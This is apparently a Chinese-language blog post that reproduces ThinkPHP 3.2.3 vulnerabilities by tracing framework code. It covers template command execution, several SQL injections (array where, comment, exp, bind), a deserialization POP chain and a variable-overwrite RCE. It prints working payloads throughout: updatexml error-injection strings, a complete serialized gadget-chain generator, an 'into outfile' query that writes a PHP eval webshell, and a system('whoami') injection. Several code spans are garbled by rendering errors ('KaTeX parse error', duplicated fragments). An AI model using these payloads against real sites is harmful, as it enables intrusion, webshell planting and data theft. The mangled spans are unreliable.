【安全漏洞】ThinkPHP 3.2.3 漏洞复现
$this->show 造成命令執行
在 Home\Controller\IndexController 下的index中傳入了一個可控參數,跟進調試看一下。
class IndexController extends Controller {public function index($n=''){$this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微軟雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 24px 48px;"> <h1>:)</h1><p>歡迎使用 <b>ThinkPHP</b>!</p><br/>版本 V{$Think.version}</div><script type="text/javascript" src="http://ad.topthink.com/Public/static/client.js"></script><thinkad id="ad_55e75dfae343f5a1"></thinkad><script type="text/javascript" src="http://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script></p>Hello '.$n, 'utf-8');} }跟進 display()
protected function show($content,$charset='',$contentType='',$prefix='') {$this->view->display('',$charset,$contentType,$content,$prefix); }一路跟進到 fetch(),然后一路進入 Hook::listen(‘view_parse’, $params);
public function fetch($templateFile='', $content='', $prefix='') {if (empty($content)) {$templateFile = $this->parseTemplate($templateFile);// 模板文件不存在直接返回if (!is_file($templateFile)) {E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);}} else {defined('THEME_PATH') or define('THEME_PATH', $this->getThemePath());}// 頁面緩存ob_start();ob_implicit_flush(0);if ('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板$_content = $content;// 模板陣列變量分解成為獨立變量extract($this->tVar, EXTR_OVERWRITE);// 直接載入PHP模板empty($_content)?include $templateFile:eval('?>'.$_content);} else {// 視圖解析標簽$params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix);Hook::listen('view_parse', $params);}// 獲取并清空緩存$content = ob_get_clean();// 內容過濾標簽Hook::listen('view_filter', $content);// 輸出模板文件return $content; }關鍵地方在這,我們之前 index 里的內容被存入了緩存文件php文件中,連帶著我們輸入的可控的php代碼也在其中,然后包含了該文件,所以造成了命令執行。
public function load($_filename,$vars=null){if(!is_null($vars)){extract($vars, EXTR_OVERWRITE);}include $_filename; }sql注入
/Application/Home/Controller/IndexController.class.php 添加一段SQL查詢代碼。http://localhost/tp323/index.php/Home/Index/sql?id=1 查詢入口。
public function sql() {$id = I('GET.id');$user = M('user');$data = $user->find($id);var_dump($data); }傳入 id=1 and updatexml(1,concat(0x7e,user(),0x7e),1)–+ ,跟進調試。進入 find() 函數,先進行一段判斷,傳入的參數是否是數字或者字符串,滿足條件的話 $options[‘where’][‘id’]=input。
if(is_numeric($options) || is_string($options)) {$where[$this->getPk()] = $options;$options = array();$options['where'] = $where; }隨后進行一個判斷 if (is_array(KaTeX parse error: Expected 'EOF', got '&' at position 10: options) &?& (count(options) > 0) && is_array($pk)),getPk()函數是查找mysql主鍵的函數,顯然 $pk 值是 id,不滿足條件
$pk = $this->getPk(); // $pk='id' if (is_array($options) && (count($options) > 0) && is_array($pk)) {// }隨后執行 $options = this?>parseOptions(this->_parseOptions(this?>p?arseOptions(options); ,
protected function _parseOptions($options=array()) {if (is_array($options)) {$options = array_merge($this->options, $options);}if (!isset($options['table'])) {// 自動獲取表名$options['table'] = $this->getTableName();$fields = $this->fields;} else {// 指定數據表 則重新獲取字段列表 但不支持類型檢測$fields = $this->getDbFields();}// 數據表別名if (!empty($options['alias'])) {$options['table'] .= ' '.$options['alias'];}// 記錄操作的模型名稱$options['model'] = $this->name;// 字段類型驗證if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {// 對數組查詢條件進行字段類型檢查foreach ($options['where'] as $key=>$val) {$key = trim($key);if (in_array($key, $fields, true)) {if (is_scalar($val)) {$this->_parseType($options['where'], $key);}} elseif (!is_numeric($key) && '_' != substr($key, 0, 1) && false === strpos($key, '.') && false === strpos($key, '(') && false === strpos($key, '|') && false === strpos($key, '&')) {if (!empty($this->options['strict'])) {E(L('_ERROR_QUERY_EXPRESS_').':['.$key.'=>'.$val.']');}unset($options['where'][$key]);}}}// 查詢過后清空sql表達式組裝 避免影響下次查詢$this->options = array();// 表達式過濾$this->_options_filter($options);return $options; }先獲取查詢的表的字段和字段類型。
if (!isset($options['table'])) {// 自動獲取表名$options['table'] = $this->getTableName();$fields = $this->fields; }關鍵代碼在于下面這個判斷里,進入 this?>parseType(this->_parseType(this?>p?arseType(options[‘where’], $key) 。
if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {// 對數組查詢條件進行字段類型檢查foreach ($options['where'] as $key=>$val) {$key = trim($key);if (in_array($key, $fields, true)) {if (is_scalar($val)) {$this->_parseType($options['where'], $key);}} elseif (!is_numeric($key) && '_' != substr($key, 0, 1) && false === strpos($key, '.') && false === strpos($key, '(') && false === strpos($key, '|') && false === strpos($key, '&')) {if (!empty($this->options['strict'])) {E(L('_ERROR_QUERY_EXPRESS_').':['.$key.'=>'.$val.']');}unset($options['where'][$key]);}} }這里由于id字段的類型是 int ,所以進入第二個分支,將我們的輸入轉化為十進制,惡意語句就被過濾了,后面就是正常的SQL語句了。
protected function _parseType(&$data,$key) {if(!isset($this->options['bind'][':'.$key]) && isset($this->fields['_type'][$key])){$fieldType = strtolower($this->fields['_type'][$key]);if(false !== strpos($fieldType,'enum')){// 支持ENUM類型優先檢測}elseif(false === strpos($fieldType,'bigint') && false !== strpos($fieldType,'int')) {$data[$key] = intval($data[$key]);}elseif(false !== strpos($fieldType,'float') || false !== strpos($fieldType,'double')){$data[$key] = floatval($data[$key]);}elseif(false !== strpos($fieldType,'bool')){$data[$key] = (bool)$data[$key];}} }如果我們傳參是傳入一個數組 id[where]=1 and updatexml(1,concat(0x7e,user(),0x7e),1)–+ ,在find() 函數的第一個判斷就沒有滿足條件不會進入這個判斷,此時 $options 就是 $options[where]='1 and updatexml(1,concat(0x7e,user(),0x7e),1)-- ',而沒有上面的鍵 id。
if(is_numeric($options) || is_string($options)) {$where[$this->getPk()] = $options;$options = array();$options['where'] = $where; }然后到下面的關鍵代碼的判斷 if (isset(KaTeX parse error: Expected 'EOF', got '&' at position 19: …ions['where']) &?& is_array(options[‘where’]) && !empty(KaTeX parse error: Expected 'EOF', got '&' at position 9: fields) &?& !isset(options[‘join’])) ,is_array($options[‘where’]) 顯然是false,因為此時 $options[‘where’] 是一個字符串而不是數組,所以不會進入下面的判斷,也就是說不會進入函數 _parseType() 對我們的輸入進行過濾。
之后回到 find() 函數中進入 $resultSet = this?>db?>select(this->db->select(this?>db?>select(options);,此時的 $options 就是我們輸入的惡意SQL語句,顯然注入成功。
反序列化 & sql注入
/Application/Home/Controller/IndexController.class.php 添加一段代碼。http://localhost/tp323/index.php/Home/Index/sql?data= 查詢入口。
public function sql() {unserialize(base64_decode($_POST['data'])); }全局搜索 function __destruct,找一個起點。
在文件:/ThinkPHP/Library/Think/Image/Driver/Imagick.class.php 中找到了 Imagick 類的 __destruct 方法。
public function __destruct() {empty($this->img) || $this->img->destroy(); }這里 $this->img 是可控的,所以我們接著找一下 destroy() 函數。共有三個,選擇了 ThinkPHP/Library/Think/Session/Driver/Memcache.class.php 中的 Memcache 類的 destroy 函數。這里有個坑,由于上面調用 destroy() 函數時沒有參數傳入,而我們找到的是有參數的,PHP7下起的ThinkPHP在調用有參函數卻沒有傳入參數的情況下會報錯,所以我們要選用PHP5而不選用PHP7.
public function destroy($sessID) {return $this->handle->delete($this->sessionName.$sessID); }這里handle 可控,那么就接著找 delete 函數。在 ThinkPHP/Mode/Lite/Model.class.php 的 Model 類中找到了合適的函數,當然選用 /ThinkPHP/Library/Think/Model.class.php 中的該函數也是可以的。我們的目的就是進入 this?>delete(this->delete(this?>delete(this->data[$pk])。所以這里只截取了前面部分的代碼。
public function delete($options=array()) {$pk = $this->getPk();if(empty($options) && empty($this->options['where'])) {// 如果刪除條件為空 則刪除當前數據對象所對應的記錄if(!empty($this->data) && isset($this->data[$pk]))return $this->delete($this->data[$pk]);elsereturn false;} }我們想要調用這個if中的 delete ,就要使得我們傳入的 $options 為空,且 this?>options[′where′]為空,是可控的,所以走到第二個if,this->options['where'] 為空,是可控的,所以走到第二個if,this?>options[′where′]為空,是可控的,所以走到第二個if,this->data 不為空,且 this?>data[this->data[this?>data[pk] 存在,滿足條件就可以調用 delete(this?>data[this->data[this?>data[pk]) 了。而 $pk 就是 $this->pk ,都是可控的。
之前因為 destroy() 調用時沒有參數,使得調用 delete 函數參數部分可控,而現在我們正常帶著參數進入了 delete 函數,就可以接著往下走了。直到運行至 $result = this?>db?>delete(this->db->delete(this?>db?>delete(options);,調用了ThinkPHP數據庫模型類中的 delete() 方法。
這里的 $table 是取自傳入的參數,可控,直接拼接到 $sql 中,然后傳入了 $this->execute。
public function delete($options=array()) {$this->model = $options['model'];$this->parseBind(!empty($options['bind'])?$options['bind']:array());$table = $this->parseTable($options['table']);$sql = 'DELETE FROM '.$table;if(strpos($table,',')){// 多表刪除支持USING和JOIN操作if(!empty($options['using'])){$sql .= ' USING '.$this->parseTable($options['using']).' ';}$sql .= $this->parseJoin(!empty($options['join'])?$options['join']:'');}$sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');if(!strpos($table,',')){// 單表刪除支持order和limit$sql .= $this->parseOrder(!empty($options['order'])?$options['order']:'').$this->parseLimit(!empty($options['limit'])?$options['limit']:'');}$sql .= $this->parseComment(!empty($options['comment'])?$options['comment']:'');return $this->execute($sql,!empty($options['fetch_sql']) ? true : false); }接著調用 $this->initConnect(true);,隨后是 $this->connect() ,這里是用 $this->config 來初始化數據庫的,然后去執行先前拼接好的SQL語句。
<?php public function connect($config='',$linkNum=0,$autoConnection=false) {if ( !isset($this->linkID[$linkNum]) ) {if(empty($config)) $config = $this->config;try{if(empty($config['dsn'])) {$config['dsn'] = $this->parseDsn($config);}if(version_compare(PHP_VERSION,'5.3.6','<=')){ // 禁用模擬預處理語句$this->options[PDO::ATTR_EMULATE_PREPARES] = false;}$this->linkID[$linkNum] = new PDO( $config['dsn'], $config['username'], $config['password'],$this->options);}catch (\PDOException $e) {if($autoConnection){trace($e->getMessage(),'','ERR');return $this->connect($autoConnection,$linkNum);}elseif($config['debug']){E($e->getMessage());}}}return $this->linkID[$linkNum]; }所以POP鏈就出來了:
<?phpnamespace Think\Image\Driver{use Think\Session\Driver\Memcache;class Imagick{private $img;public function __construct(){$this->img = new Memcache();}} }namespace Think\Session\Driver{use Think\Model;class Memcache{protected $handle;public function __construct(){$this->handle = new Model();}} }namespace Think{use Think\Db\Driver\Mysql;class Model{protected $options;protected $data;protected $pk;protected $db;public function __construct(){$this->db = new Mysql();$this->options['where'] = '';$this->data['id'] = array("table" => "mysql.user where 1=updatexml(1,user(),1)#","where" => "1=1");$this->pk = 'id';}} }namespace Think\Db\Driver{use PDO;class Mysql{protected $options = array(PDO::MYSQL_ATTR_LOCAL_INFILE => true);protected $config = array("debug" => 1,"database" => "test","hostname" => "127.0.0.1","hostport" => "3306","charset" => "utf8","username" => "root","password" => "root");} }namespace {echo base64_encode(serialize(new Think\Image\Driver\Imagick())); }注釋注入
觸發注釋注入的調用為:user=M(′user′)?>comment(user = M('user')->comment(user=M(′user′)?>comment(id)->find(intval($id));。
調試跟進一下,調用的是 Think\Model.class.php 中的 comment
/*** 查詢注釋* @access public* @param string $comment 注釋* @return Model*/ public function comment($comment) {$this->options['comment'] = $comment;return $this; }之后調用 Think\Model 的find方法。一直到調用了 Think\Db\Driver.class.php 中的 parseComment 函數,將我們輸入的內容拼接在了注釋中,于是我們可以將注釋符閉合,然后插入SQL語句。此時的SQL語句為 “SELECT * FROMuserWHEREid= 1 LIMIT 1 /* 1 */”
protected function parseComment($comment) {return !empty($comment)? ' /* '.$comment.' */':''; }如果這里沒有 LIMIT 1 的話我們可以直接進行union注入,但是這里有 LIMIT 1 ,進行union注入會提示 Incorrect usage of UNION and LIMIT,只有同時把union前的SQL查詢語句用括號包起來才可以進行查詢,但是顯然我們無法做到,那么我們可以利用 into outfile 的拓展來進行寫文件。
"OPTION"參數為可選參數選項,其可能的取值有: `FIELDS TERMINATED BY '字符串'`:設置字符串為字段之間的分隔符,可以為單個或多個字符。默認值是“\t”。 `FIELDS ENCLOSED BY '字符'`:設置字符來括住字段的值,只能為單個字符。默認情況下不使用任何符號。 `FIELDS OPTIONALLY ENCLOSED BY '字符'`:設置字符來括住CHAR、VARCHAR和TEXT等字符型字段。默認情況下不使用任何符號。 `FIELDS ESCAPED BY '字符'`:設置轉義字符,只能為單個字符。默認值為“\”。 `LINES STARTING BY '字符串'`:設置每行數據開頭的字符,可以為單個或多個字符。默認情況下不使用任何字符。 `LINES TERMINATED BY '字符串'`:設置每行數據結尾的字符,可以為單個或多個字符。默認值是“\n”。?id=1*/ into outfile “path/1.php” LINES STARTING BY ‘<?php eval($_POST[1]);?>’/* 就可以進行寫馬了。
exp注入
觸發exp注入的查詢語句如下。
public function sql() {$User = D('user');var_dump($_GET['id']);$map = array('id' => $_GET['id']);// $map = array('id' => I('id'));$user = $User->where($map)->find();var_dump($user); }這里一路跟進到 parseSql() 函數,然后調用到 parseWhere() 。
public function parseSql($sql,$options=array()){$sql = str_replace(array('%TABLE%','%DISTINCT%','%FIELD%','%JOIN%','%WHERE%','%GROUP%','%HAVING%','%ORDER%','%LIMIT%','%UNION%','%LOCK%','%COMMENT%','%FORCE%'),array($this->parseTable($options['table']),$this->parseDistinct(isset($options['distinct'])?$options['distinct']:false),$this->parseField(!empty($options['field'])?$options['field']:'*'),$this->parseJoin(!empty($options['join'])?$options['join']:''),$this->parseWhere(!empty($options['where'])?$options['where']:''),$this->parseGroup(!empty($options['group'])?$options['group']:''),$this->parseHaving(!empty($options['having'])?$options['having']:''),$this->parseOrder(!empty($options['order'])?$options['order']:''),$this->parseLimit(!empty($options['limit'])?$options['limit']:''),$this->parseUnion(!empty($options['union'])?$options['union']:''),$this->parseLock(isset($options['lock'])?$options['lock']:false),$this->parseComment(!empty($options['comment'])?$options['comment']:''),$this->parseForce(!empty($options['force'])?$options['force']:'')),$sql);return $sql; }parseWhere() 調用了 parseWhereItem() ,截取了部分關鍵代碼,這里的 val就是我們傳入的參數,所以當我們傳入數組時,val 就是我們傳入的參數,所以當我們傳入數組時,val就是我們傳入的參數,所以當我們傳入數組時,exp 就是數組的第一個值,如果等于exp,就會使用.直接將數組的第二個值拼接上去,就會造成SQL注入。
$exp = strtolower($val[0]); ...... elseif('bind' == $exp ){ // 使用表達式$whereStr .= $key.' = :'.$val[1]; }elseif('exp' == $exp ){ // 使用表達式$whereStr .= $key.' '.$val[1]; }也就是說當我們傳入 ?id[0]=exp&id[1]== 1 and updatexml(1,concat(0x7e,user(),0x7e),1) 時,拼接后的字符串就是 "id = 1 and updatexml(1,concat(0x7e,user(),0x7e),1)",最后的SQL語句也就成了 "SELECT * FROM user WHERE id =1 and updatexml(1,concat(0x7e,user(),0x7e),1) LIMIT 1 ",可以進行報錯注入了。
這里使用了全局數組 $_GET 來傳參,而不是tp自帶的 I() 函數,是因為在 I() 函數的最后有這么一句代碼,
is_array($data) && array_walk_recursive($data,'think_filter');調用了 think_filter() 函數來進行過濾,剛好就過濾了 EXP ,在后面加上了一個空格,那么自然也就無法進行上面的流程,不能進行注入了。
function think_filter(&$value){// TODO 其他安全過濾// 過濾查詢特殊字符if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){$value .= ' ';} }bind注入
public function sql() {$User = M("user");$user['id'] = I('id');$data['password'] = I('password');$valu = $User->where($user)->save($data);var_dump($valu); }payload:?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)&password=1
這里一路執行到上面的 parseWhereItem() 處,除了exp外,還有一處bind,這里同樣也是用點拼接字符串,但是不同的是這里還拼接了一個冒號。也就是說拼接之后是 "id = :0 and updatexml(1,concat(0x7e,user(),0x7e),1)" 這樣的。
$exp = strtolower($val[0]); ...... elseif('bind' == $exp ){ // 使用表達式$whereStr .= $key.' = :'.$val[1]; }elseif('exp' == $exp ){ // 使用表達式$whereStr .= $key.' '.$val[1]; }拼接到SQL語句后是 “UPDATE user SET password=:0 WHERE id = :0 and updatexml(1,concat(0x7e,user(),0x7e),1)”。
隨后在 update() 中調用了 execute() 函數,執行了如下代碼
變量覆蓋導致命令執行
觸發rce的代碼如下。
public function test($name='', $from='ctfshow') {$this->assign($name, $from);$this->display('index'); }先調用 assign() 函數。
public function assign($name, $value='') {if (is_array($name)) {$this->tVar = array_merge($this->tVar, $name);} else {$this->tVar[$name] = $value;} }當我們傳入 ?name=_content&from=<?php system("whoami")?> 時經過 assign() 函數后就有:$this->view->tVar["_content"]="<?php system("whoami")?>"
display() 函數跟進,$content 獲取模板內容。
public function display($templateFile='', $charset='', $contentType='', $content='', $prefix='') {G('viewStartTime');// 視圖開始標簽Hook::listen('view_begin', $templateFile);// 解析并獲取模板內容$content = $this->fetch($templateFile, $content, $prefix);// 輸出模板內容$this->render($content, $charset, $contentType);// 視圖結束標簽Hook::listen('view_end'); }這里調用了 fetch() 函數,有一個if判斷,如果使用了PHP原生模板就進入這個判斷,這個就對應的是 ThinkPHP\Conf\convention.php 中的 ‘TMPL_ENGINE_TYPE’ => ‘php’,。
public function fetch($templateFile='', $content='', $prefix='') {if (empty($content)) {$templateFile = $this->parseTemplate($templateFile);// 模板文件不存在直接返回if (!is_file($templateFile)) {E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);}} else {defined('THEME_PATH') or define('THEME_PATH', $this->getThemePath());}// 頁面緩存ob_start();ob_implicit_flush(0);if ('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板$_content = $content;// 模板陣列變量分解成為獨立變量extract($this->tVar, EXTR_OVERWRITE);// 直接載入PHP模板empty($_content)?include $templateFile:eval('?>'.$_content);} else {// 視圖解析標簽$params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix);Hook::listen('view_parse', $params);}// 獲取并清空緩存$content = ob_get_clean();// 內容過濾標簽Hook::listen('view_filter', $content);// 輸出模板文件return $content; }view->tVar["_content"]="<?php system("whoami")?>" ,因此這里就存在變量覆蓋,將 $_content 覆蓋為了我們輸入的要執行的命令。
隨后執行 empty($_content)?include templateFile:eval(′?>′.templateFile:eval('?>'.templateFile:eval(′?>′._content); ,此時的 content顯然不為空,所以會執行eval(′?>′._content 顯然不為空,所以會執行 eval('?>'.c?ontent顯然不為空,所以會執行eval(′?>′._content); ,也就造成了命令執行。
【免費領取網絡安全學習資料】
總結
以上是生活随笔為你收集整理的【安全漏洞】ThinkPHP 3.2.3 漏洞复现的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 告诉你,初学网络安全应该怎样去学呢?安排
- 下一篇: 解析针对 HTTP/2 协议的不同步攻击